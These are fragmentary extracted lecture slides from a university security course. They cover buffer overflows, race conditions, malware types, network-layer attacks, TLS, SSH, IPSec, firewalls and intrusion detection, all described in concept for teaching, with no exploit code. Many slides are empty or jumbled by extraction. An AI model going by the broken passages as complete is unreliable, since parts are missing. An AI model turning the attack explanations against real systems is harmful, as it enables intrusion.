Cryptography
Control of Access to General Objects
Wenjing Zhang
42
CIS 4520
Introduction to
Cryptography
Control of Access to General Objects
– simple lookups
– but probably lots of empty spaces
43
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
OS Security: Attacks
CIS 4520
Introduction to
Cryptography
Memory Attacks
• Motivation
Wenjing Zhang
45
CIS 4520
Introduction to
Cryptography
Memory Attacks
• Software attacks
Wenjing Zhang
46
CIS 4520
Introduction to
Cryptography
Memory Attacks
• Software attacks
Wenjing Zhang
47
CIS 4520
Introduction to
Cryptography
Memory Attacks
• Software attacks
Wenjing Zhang
48
CIS 4520
Introduction to
Cryptography
Memory Attacks
• Physical attacks
Wenjing Zhang
Introduction to
Software Security
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
3
CIS 4520
Introduction to
Cryptography
Faults in Programs
4
CIS 4520
Introduction to
Cryptography
Faults in Programs
• Which is better:
Wenjing Zhang
5
CIS 4520
Introduction to
Cryptography
Faults in Programs
• Penetration
Wenjing Zhang
6
CIS 4520
Introduction to
Cryptography
Faults in Programs
Wenjing Zhang
• Penetrate and patch: why is this bad?
– product was broken in the first place
– developers can only fix problems that they know
about
– patches often only fix symptom. they're not cure
– people don't bother applying the patches
– patches can have holes
– patches might cause bad side effect
– patches tell the bad guys where the problems are
– might affect program performance or limit
functionality
– more expensive than making it secure from the
beginning
7
CIS 4520
Introduction to
Cryptography
Program Security
secure?
– Not easy
• Why? Software testing:
– makes sure that code does what it's supposed
to do
– for security: must also verify that it doesn't do
anything it isn't supposed to do. much
harder
– programming techniques often change more
quickly than security techniques
8
CIS 4520
Introduction to
Cryptography
Program Security
• Code Review
– Manual code inspection and vulnerability
reasoning
• Static Analysis
– Automated reason the code with static program
analysis
• Dynamic Testing
– Run the software with various inputs and
watch for anomaly
9
CIS 4520
Introduction to
Cryptography
Program Security
• IEEE Terminology
Wenjing Zhang
10
CIS 4520
Introduction to
Cryptography
Program Security
• Types of flaws
Wenjing Zhang
– validation error
– domain error
– serialization and aliasing
– inadequate authentication
– boundary condition violation
– other exploitable logic errors
11
CIS 4520
Introduction to
Cryptography
Validation Errors
– function arguments
– function return values
• Examples:
– type of variable
– length of a buffer
– permissions of a file
– other variable properties
– A DNS crash story: “,” in a domain name
• Should validation include checking user
input?
12
CIS 4520
Introduction to
Cryptography
Validation Errors
13
CIS 4520
Introduction to
Cryptography
Validation Errors
14
CIS 4520
Introduction to
Cryptography
Domain Errors
15
CIS 4520
Introduction to
Cryptography
Serialization, Aliasing
• Serialization
Wenjing Zhang
16
CIS 4520
Introduction to
Cryptography
Non-malicious Program Errors
• Buffer Overflow
Wenjing Zhang
– Simple problem
– Known about for decades
– Still very common!
– Account for 50% of all major advisories
issued by CERT/CC in 1999
• The CERT Coordination Center (CERT/CC):
Coordination Center of Computer Emergency
Response Team (CERT)
• Created in response to the Morris worm (interesting
story, we will talk about it later)
• CERT/CC publishes security alerts
17
CIS 4520
Introduction to
Cryptography
Buffer Overflow
• Memory organization
Wenjing Zhang
Lower
– Process’s memory Address
– Text: code segment
• Program instructions
Text
• Read only
• Segmentation fault if you
try to write to it Data
– Data segment
• Initialized data: global and
static variables Stack
Higher
• Uninitialized data: BSS Address
• Heap
18
CIS 4520
Introduction to
Cryptography
Buffer Overflow
• Memory organization
Wenjing Zhang
• Memory organization
Wenjing Zhang
21
CIS 4520
Introduction to
Cryptography
Buffer Overflow
void main(){
func(10,20,30);
}
ESP
EBP main’s frame
23
CIS 4520
Introduction to
Cryptography
Buffer Overflow
void main(){
func(10,20,30);
}
ESP
10
20
30
EBP main’s frame
24
CIS 4520
Introduction to
Cryptography
Buffer Overflow
void main(){
ESP, EBP
func(10,20,30);
old base pointer
}
return address (EIP)
10
20
30
main’s frame
25
CIS 4520
Introduction to
Cryptography
Buffer Overflow
– Overflow buf:
• with malicious input data?
– Rewrite the ESP
return address
cuf
– Now you can run
any program AAAAAAAAAAA
buf
• As long as you EBP AAAAAAAAAAAAAAA
know where it is old base
AAA pointer
A
• To be executed return A
address
A A A (EIP)
after function 10
finishes 20
• Most of attacks: 30
execute a shell
main’s frame
27
CIS 4520
Introduction to
Cryptography
Buffer Overflow
• So what?
Wenjing Zhang
28
CIS 4520
Introduction to
Cryptography
Buffer Overflow
• So what?
Wenjing Zhang
30
CIS 4520
Introduction to
Cryptography
Buffer Overflow
Wenjing Zhang
• When buffer overflow happens, data structures in
memory will be corrupted, potentially changing
the program’s behavior.
– In many cases it can lead to the execution of arbitrary
code by attackers
• A common problem for unsafe programming
languages such as C and C++.
• Local privilege escalation vulnerability, i.e. an
attacker who already obtained local access on the
system can escalate his privilege.
– If the setuid program is owned by root, an attacker who
has user account privilege may gain root privilege on the
system.
31
CIS 4520
Introduction to
Cryptography
Buffer Overflow
Wenjing Zhang
• Buffer overflow controls
– Tools: ProPolice, Stackguard
– Idea: use a “canary” before return addr
• a reference to the canaries once used in coal mines to
detect dangerous gases.
• Canary = random number cuf
• Put there before func call
• Check after function buf
finishes
• If canary isn't dead, old base pointer
continue canary word
return address (EIP)
10
20
30
main’s frame
32
CIS 4520
Introduction to
Cryptography
Race Conditions
33
CIS 4520
Introduction to
Cryptography
TOCTTOU
34
CIS 4520
Introduction to
Cryptography
TOCTTOU
35
CIS 4520
Introduction to
Cryptography
TOCTTOU
36
CIS 4520
Introduction to
Cryptography
TOCTTOU
• TOCTTOU is unlikely?
Wenjing Zhang
37
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
39
CIS 4520
Introduction to
Cryptography
OpenSSL “Heartbleed” Bug
Wenjing Zhang
• Heartbeat Request and Response Messages
Source:
http://www.theregister.co.uk/2014/04/09/heartbleed_explained/
41
CIS 4520
Introduction to
Cryptography
OpenSSL “Heartbleed” Bug
Wenjing Zhang
42
CIS 4520
Introduction to
Cryptography
Open Source vs. Closed Source
or closed?
– Argument: Closed source more secure because
it’s harder to find flaws to exploit.
– Argument: Open source more secure because
more eyes on code.
– What’s your take?
43
CIS 4520
Introduction to
Cryptography
Open Source vs. Closed Source
or closed?
– Argument: Closed source more secure because
it’s harder to find flaws to exploit.
44
CIS 4520
Introduction to
Cryptography
Open Source vs. Closed Source
or closed?
– Argument: Open source more secure because
more eyes on code.
– Do you look at the code?
– Code authors can be temporary, weekend
warriors
– Often not very strict quality standards
• Kernels usually good, but drivers, other software
packages can be shoddy
– Code might make job easier on hacker
• Can just do a grep on source for vulnerable
functions
45
CIS 4520
Introduction to
Cryptography
Common Vulnerabilities and Exposures
46
CIS 4520
Introduction to
Cryptography
Patching
– Importance of patching
– Timing: vulnerability window
– 0-day vulnerabilities
– Vulnerability scanning
47
CIS 4520
Introduction to
Cryptography
Non-malicious Program Errors
• Summary:
Wenjing Zhang
48
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
50
CIS 4520
Introduction to
Cryptography
Trojan Horses
51
CIS 4520
Introduction to
Cryptography
Trojan Horses
52
CIS 4520
Introduction to
Cryptography
Viruses
53
CIS 4520
Introduction to
Cryptography
Viruses
– Appended (prepended)
– Surrounding
– Replace
– Example: windows .com precedence over .exe
• virus is calc.com
• when you run calc
• calc.com runs
• then it calls calc.exe
• virus renames itself to calc.exe and then moves old
calc.exe to different filename or hidden filename to
directory that’s not often accessed
54
CIS 4520
Introduction to
Cryptography
Viruses
– Integrated
55
CIS 4520
Introduction to
Cryptography
Viruses
56
CIS 4520
Introduction to
Cryptography
Viruses
• Document Virus
Wenjing Zhang
57
CIS 4520
Introduction to
Cryptography
Viruses
Wenjing Zhang • Virus Detection
– detect change in file size
• often add or remove code to a file, which changes its
original size
• virus writer counter move: remove or compress part
of original file to mask the change in file size
– look for virus signature
• digital fingerprint unique to each virus
• used by antivirus software to identify and remove
viruses
• virus writer counter-move: polymorphism,
encryption, use a kit to write a different virus with
similar effect
58
CIS 4520
Introduction to
Cryptography
Viruses vs. Trojan Horses
horses?
– Viruses:
• Malicious programs that self-replicate
• Spread to other computers/files
• Require user action to initiate (e.g., opening an
email attachment)
– Trojan Horses:
• Malware posing as legitimate software
• Do not self-replicate
• Cause damage by creating backdoors for other
malware
59
CIS 4520
Introduction to
Cryptography
Discussions
• True or false:
Wenjing Zhang
60
CIS 4520
Introduction to
Cryptography
Worms
Wenjing Zhang
• Worms: standalone software that propagates from
one computer to another over network
• Morris Worm – Nov. 2, 1988
– First worm released in the history
– Written by Robert Morris, then a student at Cornel
– Released from MIT
– “to gauge the size of the Internet”: by observing how
widely and rapidly the worm could spread
– Scan and exploit Unix machines vulnerabilities to
connect and infect
• e.g., buffer overflow, weak authentication, trust within network
– Re-infects targets at 1/7 rate → DoS attacks
– First person convicted (1990) of violating the Computer
Fraud and Abuse Act: three years of probation, 400
hours of community service, a fine of $10,050, and the
costs of his supervision.
61
CIS 4520
Introduction to
Cryptography
Rootkits
• Definition
Wenjing Zhang
62
CIS 4520
Introduction to
Cryptography
Rootkits
63
CIS 4520
Introduction to
Cryptography
Rootkits
64
CIS 4520
Introduction to
Cryptography
Rootkits
Wenjing Zhang • How Rootkits get into computers?
– Phishing Attacks
• users tricked into downloading malicious
attachments or clicking on malware-laden links
– Drive-by Downloads
• automatic downloads from compromised websites
– Software Vulnerabilities
• exploits in unpatched operating systems,
applications, or services
– Physical Access
• direct installation by an individual with access to the
computer
– Infected External Devices
• introduced via USB drives or other external media
65
CIS 4520
Introduction to
Cryptography
Rootkits
Wenjing Zhang • Prevention
– Use up-to-date antivirus and anti-rootkit tools
– Regularly apply security patches to all
software
– Employ safe browsing and email handling
practices
– Enforce strong security policies and user
permissions
– Be cautious with external devices and software
installations
66
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
• Developmental Controls
Wenjing Zhang
– trusted software
– protection, confinement
– limited privilege
– logging
69
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Network Security
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Outline
•
Wenjing Zhang
Introduction
• Terminologies
• Network Attacks
• Network Security Controls
• Application Security
– Web Security
• Phishing
• SQL Injection
– Email Security
2
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
1. Introduction
CIS 4520
Introduction to
Cryptography
Network Security Topics
communication
– TCP/IP: widely implemented, practical
– OSI: structured, detailed understanding
6
CIS 4520
Introduction to
Cryptography
Network Security Topics
Wenjing Zhang TCP/IP Common Security Countermeasures
Model Attacks
Physical Packet Sniffing Encryption (SSH, SSL/TLS,
Layer (1) HTTPS)
Data Link Address Resolution Network Segmentation
Layer (2) Protocol (ARP) (Virtual Local Area
Poisoning Networks - VLANs)
Network Denial of Service
Layer (3) Intrusion Detection Systems
IP Spoofing (for TCP
Hijacking) (IDS)
7
CIS 4520
Introduction to
Cryptography
Network Security Topics
Wenjing Zhang
TCP/IP Common Security Countermeasures
Model Attacks
Application Software Bugs/Buffer IDS
Layer (5) Overflows
DNS Water Torture Firewalls
SQL
injection Web Application Firewalls
Web Cross-site
security (WAFs)
scripting
(XSS)
Email Security PGP, SSH encryption
Social Engineering Security Education
8
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
2. Terminologies:
Crypto Primitives,
Cryptographic Protocols,
Network Security Protocols,
Network Security Systems
CIS 4520
Introduction to
Cryptography
Crypto Primitives
•
Wenjing Zhang
Block Ciphers
• Stream Ciphers
• Hash Functions
• Public Key Encryption/Decryption
• Public Key Signing/Verification
• …
• All primitives can be seen as an algorithm
(or a function) with well-defined inputs
and outputs
10
CIS 4520
Introduction to
Cryptography
Cryptographic Protocols
11
CIS 4520
Introduction to
Cryptography
Network Security Protocols
12
CIS 4520
Introduction to
Cryptography
Network Security Systems
Wenjing Zhang • IDS (Intrusion Detection System):
– Monitors network/system for malicious activities.
– Reports detected activities to an administrator.
• Firewalls:
– Monitors and controls incoming/outgoing
network traffic.
– Establishes a barrier against external threats.
– Can be hardware, software, or both.
• Note: IDS and Firewalls are not protocols
but part of a security infrastructure; they are
security systems that utilize protocols to
secure networks.
13
CIS 4520
Introduction to
Cryptography
Comparison & Connection
Wenjing Zhang • Cryptographic Primitives:
– Basic, low-level cryptographic algorithms.
– Provide basic security functions: encryption, hashing,
digital signatures.
– Examples: AES, SHA-256, RSA.
• Network Security Protocols:
– Higher-level constructs using cryptographic primitives.
– Secure complex operations: secure communication,
authentication, key exchange.
– Examples: SSL/TLS, SSH, HTTPS, IPsec.
• Connection:
– Cryptographic primitives are the building blocks for
network security protocols, which are designed to
secure higher-level operations.
14
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
3. Network Attacks
CIS 4520
Introduction to
Cryptography
Physical Layer Security: Example
Francillon, A., Danev, B., & Capkun, S. (2011). Relay attacks on passive keyless entry and start
systems in modern cars. In Proceedings of the Network and Distributed System Security
Symposium (NDSS). ETH Zürich, Department of Computer Science.
16
CIS 4520
Introduction to
Cryptography
Physical Layer Attack: Example
Francillon, A., Danev, B., & Capkun, S. (2011). Relay attacks on passive keyless entry and start
systems in modern cars. In Proceedings of the Network and Distributed System Security
Symposium (NDSS). ETH Zürich, Department of Computer Science.
17
CIS 4520
Introduction to
Cryptography
Physical Layer Attack: Example
18
CIS 4520
Introduction to
Cryptography
Physical Layer Attack: Example
Francillon, A., Danev, B., & Capkun, S. (2011). Relay attacks on passive keyless entry and start
systems in modern cars. In Proceedings of the Network and Distributed System Security
Symposium (NDSS). ETH Zürich, Department of Computer Science.
19
CIS 4520
Introduction to
Cryptography
Physical Layer Attack: Example
Wenjing Zhang
• Relay attacks intercept and boost the key fob's
signal, using devices to increase communication
range with the car.
20
CIS 4520
Introduction to
Cryptography
Physical Layer Attack: Countermeasure
Wenjing Zhang
• Time-of-flight systems: detect extended signal
travel time to prevent relay attacks.
• Distance bounding: ensures key fobs are close
enough to prevent distant signal relays.
• Frequency hopping: complicates signal
interception by constantly changing frequencies.
• Reducing key fob power: limits operational range,
deterring distant attackers.
• Bi-directional authentication: confirms the key
fob's physical presence, not just signal presence.
21
CIS 4520
Introduction to
Cryptography
NO Attacks On This Model!
Wenjing Zhang
22
CIS 4520
Introduction to
Cryptography
Network Layer Attack: Examples
• Ping of death
Wenjing Zhang
• Smurf
• DDoS: traffic redirection (i.e. attack
routing algorithms)
23
CIS 4520
Introduction to
Recap: Denial of Service (DoS)
Cryptography
Wenjing Zhang
• Definition: malicious attempts to disrupt
the normal functioning of a targeted
system, network, or service.
– Make target inaccessible to its intended users
by overwhelming it with illegitimate traffic.
• Types of DoS Attacks:
– Flooding Attacks: Overwhelm the target with a
flood of traffic beyond its capacity to handle.
– Resource Exhaustion Attacks: Exploit
vulnerabilities to exhaust system resources
such as memory, CPU, or bandwidth.
– Distributed Denial of Service (DDoS):
Coordinated attacks using multiple
compromised devices or systems (botnets).
24
CIS 4520
Introduction to
Cryptography
Ping of Death
Wenjing Zhang • Ping (ICMP echo) packet: 64 bytes
– ICMP (Internet Control Message Protocol)
• TCP/IP specification: maximum packet
size of 65,536 bytes.
• Ping of death attack: send oversized ICMP
datagrams (encapsulated in IP packets) to
the victim.
– Some systems, upon receiving the oversized
packet, will crash, freeze, or reboot, resulting
in denial of service, e.g., buffer overflow
• Can configure firewalls to block ICMP
echo requests or limit their size.
25
CIS 4520
Introduction to
Cryptography
Smurf attacks
26
CIS 4520
Introduction to
Cryptography
Distributed Denial of Service (DDoS)
Wenjing Zhang
• Attack vulnerable systems
– exploit system vulnerabilities or trick into downloading
trojan
• Create zombie networks
• Direct zombies to attack victim
27
CIS 4520
Introduction to
Cryptography
Transport Layer Attack: Syn-flood
28
CIS 4520
Introduction to
Cryptography
Transport Layer Attack: Syn-flood
29
CIS 4520
Introduction to
Cryptography
Transport Layer Attack: Syn-flood
30
CIS 4520
Introduction to
Cryptography
Transport Layer Attack: Syn-flood
• Syn-flood attack
Wenjing Zhang
31
CIS 4520
Introduction to
Cryptography
Transport Layer Attack: Syn-flood
32
CIS 4520
Introduction to
Cryptography
Application Layer: DNS Water Torture
• Attack Overview:
Wenjing Zhang
34
CIS 4520
Introduction to
Cryptography
DNS Water Torture
Wenjing Zhang
• DNS provider Dyn was attacked on 10/21/2016
• DDoS coming from 10s of millions of IPs (IoT devices)
• Affected websites: Amazon, Twitter, Netflix, Spotify,
PayPal, AirBnb, Reddit, Tumblr, GitHub and the New York
Times, etc.
35
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
4. Controls
CIS 4520
Introduction to
Cryptography
Network Security Controls
•
Wenjing Zhang
Architecture & design
• Encryption
• Network security protocols
• Network security systems: firewall, IDS,
security intelligence, etc.
37
CIS 4520
Introduction to
Cryptography
Architecture & Design
• Segmentation/separation
Wenjing Zhang
38
CIS 4520
Introduction to
Cryptography
Architecture & Design
• Segmentation/separation
Wenjing Zhang
39
CIS 4520
Introduction to
Cryptography
Architecture & Design
Wenjing Zhang • Segmentation/separation
• Redundancy: having backup systems in
place to ensure service continuity.
– Failover mode: if one system fails, another
standby system automatically takes over to
maintain service availability.
– Cloud services: can offer high availability and
distributed resources to handle failover.
• Eliminate single points of failure
• Fast recovery
– minimizing downtime and restoring services as
quickly as possible.
40
CIS 4520
Introduction to
Cryptography
Network Security Controls
•
Wenjing Zhang
Architecture & design
• Encryption
• Network security protocols
• Network security systems: firewall, IDS,
security intelligence, etc.
41
CIS 4520
Introduction to
Cryptography
Encryption
42
CIS 4520
Introduction to
Cryptography
Encryption
Wenjing Zhang • Link encryption
– Protect data transmitted over un-trusted
physical links
– Transparent to the user (upper layers)
– Messages are decrypted at routers
43
CIS 4520
Introduction to
Cryptography
Encryption
Wenjing Zhang
• End-to-end encryption
– Application/presentation layer encryption
• email communication, messaging apps, etc.
– No decryption in transit
– Protect data confidentiality against flawed or
untrusted lower layers
44
CIS 4520
Introduction to
Cryptography
Encryption
45
CIS 4520
Introduction to
Cryptography
Network Security Controls
•
Wenjing Zhang
Architecture & design
• Encryption
• Network security protocols
• Network security systems: firewall, IDS,
security intelligence, etc.
46
CIS 4520
Introduction to
Cryptography
Network Security Protocols
• SSL/TLS
Wenjing Zhang
47
CIS 4520
Introduction to
Cryptography
SSL/TLS
Wenjing Zhang • Mid’90s introduced concerns over credit card
transactions over the Internet
• SSL (Secure Sockets Layer) designed to respond
to these concerns, develop e-commerce
• Initially designed by Netscape, moved to IETF
(Internet Engineering Task Force) standard later
– SSLv2 1994
– SSLv3 1996
• Fixed security problems
– TLS v1.0 1999
• IETF standard
– TLS v1.1 2006
– TLS v1.2 2008
– TLS v1.3 2018
48
CIS 4520
Introduction to
Cryptography
SSL/TLS
Wenjing Zhang • SSL Model: handshake protocol for
establishing a secret between client and
server (plus server authentication)
(asymmetric primitives + PKI)
• Server authentication (X.509 certificate)
– Client authentication (optional)
• Encrypted communication
– Implements a socket interface
– Any socket-based application can be made to
run on top of SSL
• Protect against:
– Eavesdroppers, MITM attacks
49
CIS 4520
Introduction to
Cryptography
SSL/TLS
• SSL sequence
Wenjing Zhang
– Negotiate parameters
– Key exchange
– Authentication
– Session
50
CIS 4520
Introduction to
Cryptography
SSL/TLS
• Negotiation
Wenjing Zhang
51
CIS 4520
Introduction to
Cryptography
SSL/TLS
Wenjing Zhang • SSL authentication
– Anonymous (no authentication)
– RSA authentication (implicit)
– Sign Diffie-Hellman parameters
• Secure communication
– Encryption: RC4 (Rivest Cipher 4, stream
cipher), also DES, 3DES, AES, ...
– Authentication: HMAC (Hash-based Message
Authentication Code), using MD5 or SHA1
53
CIS 4520
Introduction to
Cryptography
SSL/TLS
• TLS 1.3
Wenjing Zhang
secure communication
channel is established
54
CIS 4520
Introduction to
Cryptography
SSL/TLS
ciphers
– RC4 Stream Cipher
– RSA Key Exchange
– SHA-1 Hash Function
– CBC (Block) Mode Ciphers
– MD5 Algorithm
– Various non-ephemeral Diffie-Hellman groups
– EXPORT-strength ciphers
– DES
– 3DES
55
CIS 4520
Introduction to
Cryptography
SSL/TLS
• TLS 1.3
Wenjing Zhang
56
CIS 4520
Introduction to
Cryptography
SSH
Wenjing Zhang • SSH: Secure Shell
– An essential tool for managing servers,
securely transferring files, and performing a
host of other secure network functions
– Designed in 1995 by Tatu Ylonen, replaced in
1996 by SSHv2
– Fixed security holes, eventually standardized
• SSH: Example
– To access the SoCS Linux server, we must use
SSH
– ssh <username>@linux.socs.uoguelph.ca
– Username and Password are the same as what
we log into WebAdvisor with Central login
57
CIS 4520
Introduction to
Cryptography
SSH
Wenjing Zhang
• Similar to SSL:
– Operates on a client-server model with a
socket-like interface
• Replaces (insecure) UNIX remote login
– where usernames, passwords, and commands,
were transmitted in plaintext
• Flexible authentication architecture
– Password, public key, SecureID, Kerberos, ...
• Compare with SSL:
– No certificates, relies on a trust-on-first-use
model
– Client remembers the public key associated
with host
58
CIS 4520
Introduction to
Cryptography
IP Security Issues
Wenjing Zhang • When an entity receives an IP packet, it has
no assurance of:
– Data source authentication/data integrity:
• Packet comes from the source it claims to
• Content of packet should remain unchanged
during transport
• The recipient should be the intended one
– Confidentiality
• The original data was not inspected by a
third party while the packet was sent from
the sender to the receiver
59
CIS 4520
Introduction to
Cryptography
IP Security Issues & IPSec
Wenjing Zhang
• Eavesdropping
• Modification of packets in transit
• Identity spoofing (forged source IP addresses)
• Denial of Service
• Many solutions are application-specific
– TLS for Web, S/MIME (Secure/Multipurpose
Internet Mail Extensions) for email, SSH for
remote login
• IPSec aims to provide a framework of open
standards for secure communications over IP
– Protect every protocol running on top of IPv4
and IPv6
60
CIS 4520
Introduction to
Cryptography
IPSec
Wenjing Zhang
• Internet Protocol Security (IPSec)
• Method of protecting IP datagrams
– units of information exchanged over internet
• Protection for IP and upper-layer protocols
• Designed for IPv6, backported to IPv4
• Two Options:
– AH (Authentication Header)
– ESP (Encapsulated Security Payload)
• Two Modes:
– Transport mode: use the original IP header
– Tunnel mode: use a new IP header
61
CIS 4520
Introduction to
Cryptography
AH (Authentication Header)
• Provides source authentication, data integrity, NO
Wenjing Zhang
confidentiality
– Simple design: add header with authentication data
between IP header, data field.
– Security parameters
– Authentication data (usu. SHA1-HMAC)
– Protocol field: 51
Source: Wikipedia
62
CIS 4520
Introduction to
Cryptography
AH (Authentication Header)
Wenjing Zhang • AH header includes:
– connection identifier
– authentication data: source-signed message digest
calculated over original IP datagram
– next header field specifies data type (e.g., TCP, UDP,
ICMP)
Source: Wikipedia
63
CIS 4520
Introduction to
Cryptography
ESP (Encapsulated Security Payload)
Wenjing Zhang
• Provides confidentiality, host authentication,
data integrity.
– Encapsulate datagram rather than add a header
– Next header field is in ESP trailer
– ESP format: Security Parameters Index, Sequence
Number, Payload Data, Padding, Pad Length, Next
Header, Authentication Data
– Protocol field: 50
Source: Wikipedia
64
CIS 4520
Introduction to
Cryptography
IPSec
Wenjing Zhang
65
CIS 4520
Introduction to
Cryptography
Network Security Controls
•
Wenjing Zhang
Architecture & design
• Encryption
• Network security protocols
• Network security systems: firewall, IDS,
security intelligence, etc.
66
CIS 4520
Introduction to
Cryptography
Firewalls
67
CIS 4520
Introduction to
Cryptography
Firewall Types
• Packet filter
Wenjing Zhang
68
CIS 4520
Introduction to
Cryptography
Firewall Tasks
traffic
– Allow/disallow certain packets
• Firewall may perform other duties:
– Network address translation (NAT)
– Logging (forensics)
– Flagging (intrusion detection)
– Authentication, encryption/decryption (VPN)
– Quality of Service (differentiated services)
• the ability to provide different priority to different
types of traffic, users, or data flows
70
CIS 4520
Introduction to
Cryptography
Firewall Tasks
Always allow
HTTP traffic
(TCP port 80)
Port mapping
Allow traffic
from any
client
71
CIS 4520
Introduction to
Cryptography
Firewall Tasks
• Example 2
Wenjing Zhang
Always allow
video conferencing
(TCP/UDP on
7648, 24032)
Only allow a
small range
of IPs.
Log requests
from unknown
sources.
72
CIS 4520
Introduction to
Cryptography
Firewall Tasks
• Example 3
Wenjing Zhang
Always allow
outbound AIM
traffic
From any
internal
computer
To any external
computer
Log all
73
CIS 4520
Introduction to
Cryptography
Firewall Policies
deny * * * * * Default
default deny
74
CIS 4520
Introduction to
Cryptography
Default Policy
order matters!
– Firewall policies are non-monotonic (means a
mix of allow and deny)
– Policy is evaluated until the packet matches a
rule (first match, not best match)
Action Src IP Src Des IP Des Protocol Comment
Port Port
allow * * 10.0.0.10 80 TCP Allow access to Server
deny * * * * * Default
76
CIS 4520
Introduction to
Cryptography
Rule Order
order matters!
– Firewall policies are non-monotonic (means a
mix of allow and deny)
– Policy is evaluated until the packet matches a
rule (first match, not best match)
– Can optimize firewall performance (e.g.,
frequent deny first)
– Can be useful to express complex requirements
77
CIS 4520
Introduction to
Cryptography
Stateless vs. Stateful Package Filters
independently
– But a single packet may not contain sufficient
data to make a solid access control decision.
– e.g., TCP packet is part of established session.
• Stateful: allows historical context
consideration
– Records outgoing packets and links incoming
packets to their corresponding outbound
packet’s state.
– More intelligent and provide stronger security
by understanding the flow of traffic over time,
not just snapshots of individual packets.
78
CIS 4520
Introduction to
Cryptography
Application Layer Firewall
• can do
– email scanning, filtering
– scrub web pages, e.g., remove javascript
– much more
79
CIS 4520
Introduction to
Cryptography
Firewall Effectiveness
• is this realistic?
80
CIS 4520
Introduction to
Cryptography
Firewall Effectiveness
• Firewalls
Wenjing Zhang
81
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
83
CIS 4520
Introduction to
Cryptography
Intrusion
• Intrusion
Wenjing Zhang
84 84
CIS 4520
Introduction to
Cryptography
Intrusion
Wenjing Zhang
• What is Intrusion?
– remote root compromise
– web server defacement
– guessing/cracking passwords
– copying databases containing credit card
numbers
– viewing sensitive data without authorization
– running a packet sniffer
– distributing pirated software
– using an unsecured modem to access internal
network
– impersonating an executive to get information
– using an unattended workstation
85
CIS 4520
Introduction to
Cryptography
Intrusion Detection
• Intrusion Prevention
– an extension of ID with exercises of access
control to protect computers from exploitation
86
CIS 4520
Introduction to
Cryptography
Intrusion Detection Systems
Wenjing Zhang
87
CIS 4520
Introduction to
Cryptography
Intrusion Detection Systems
Wenjing Zhang • IDS comprises three logical components:
– sensors
• collect data: packets, logs, system call traces, etc.
– analyzers
• determine if intrusion has occurred
– user interface
• view output or control system behavior
Audit Records
analyzer
Audit Data
Preprocessor
Activity Data
Detection
Detection Engine
Models
Alarms
Action/Report
Decision Decision Engine
Table
88
CIS 4520
Introduction to
Cryptography
IDS Principles
• IDS assumes that intruder behavior differs from
Wenjing Zhang
legitimate users
• Overlap in behaviors causes problems
– false positives or false alarms
– false negatives
89
CIS 4520
Introduction to
Cryptography
Bayesian Detection Rate
• Formal model:
Wenjing Zhang
90
CIS 4520
Introduction to
Cryptography
Base-rate Bayesian Fallacy
Pr(𝐴|𝐼) ∙ Pr(𝐼)
Pr 𝐼 𝐴 =
Pr(𝐴)
• If we know
– Pr(𝐼): the attack probability
• assume 1 attack every 10,000 uses, Pr(𝐼) = 0.0001
– Pr 𝐴 : probability of an alarm (unknown!)
• Law of total probability
• Can derive Pr 𝐴 = Pr 𝐴 𝐼 Pr 𝐼 +
Pr 𝐴 ! 𝐼 Pr(! 𝐼)
91
CIS 4520
Introduction to
Cryptography
Base-rate Bayesian Fallacy
Wenjing Zhang • According to Bayes Rule:
Pr(𝐴|𝐼) ∙ Pr(𝐼)
Pr 𝐼 𝐴 =
Pr(𝐴)
• If we know
– Pr(𝐼): the attack probability
• assume 1 attack every 10,000 uses, Pr(𝐼) = 0.0001
– Pr 𝐴 : probability of an alarm (unknown!)
• Can derive Pr 𝐴 = Pr 𝐴 𝐼 Pr 𝐼 + Pr 𝐴 ! 𝐼 Pr(! 𝐼)
• First, assume the IDS is 99% accurate
– Pr(𝐴|𝐼) = 0.99
– Pr(! 𝐴|𝐼) = 1 − Pr(𝐴|𝐼) = 0.01
– Pr(! 𝐴|! 𝐼) = 0.99
– Pr( 𝐴|! 𝐼) = 0.01
• Pr(𝐴) = 0.99 × 0.0001 + 0.01 × 0.9999 =
0.010098
92
CIS 4520
Introduction to
Cryptography
Base-rate Bayesian Fallacy
Pr(𝐴|𝐼) ∙ Pr(𝐼)
Pr 𝐼 𝐴 =
Pr(𝐴)
• Now:
0.99×0.0001
– Pr 𝐼|𝐴 = = 0.0098 = 0.98%
0.010098
• Implications:
– a 99% accurate detector only leads to 1%
accurate detection
• 99 false alarms per true alarm
– This is a core problem with IDS!
– Need suppression of false alarms
• however difficult!
93
CIS 4520
Introduction to
Cryptography
Intrusion Detection Approaches
Wenjing Zhang • Anomaly detection
– detects activity that deviates from normal behavior
– defines a profile describing “normal” behavior
• involves the collection of data relating to the behavior of
legitimate users over a period of time
– detects potential attacks
• analyzes the observed behavior to decide if it is of a
legitimate user or of an intruder
probable
intrusion
activity
measures
94
CIS 4520
Introduction to
Cryptography
Intrusion Detection Approaches
Wenjing Zhang • Anomaly detection
– Model legitimate user behavior in a training phase
• A variety of classification approaches
• Statistical
– analyzes observed behavior using univariate,
multivariate, or time-series models
• Knowledge based
– uses a rule-based expert system to classify behaviors
• Machine learning
– Neural network models trained on normal and
malicious network behaviors can autonomously
distinguish between benign and harmful patterns,
using data mining to uncover hidden correlations.
– Once trained, can classify new data as normal or
anomalous based on learned patterns.
• Trade-off between efficiency and cost of detection
95 95
CIS 4520
Introduction to
Cryptography
Intrusion Detection Approaches
Wenjing Zhang • Signature/Heuristic detection
– uses a large set of known malicious data
patterns (signatures) or attack rules (heuristics)
• only identifies known attacks for which it has
patterns or rules
– compares with current behavior
• mostly accurate
pattern
matching
Intrusion
Patterns:
intrusion
Sequences of
system calls,
patterns of network
traffic, etc. activities
96
CIS 4520
Introduction to
Cryptography
Intrusion Detection Approaches
Wenjing Zhang
• Signature approaches
– widely used in anti-virus products, network
traffic scanning proxies, and NIDS
– designed to minimize false alarms by matching
very specific known malicious
– accurate for known threats but ineffective for
new ones
• Rule-based heuristic identification
– define identified suspicious behavior in rules
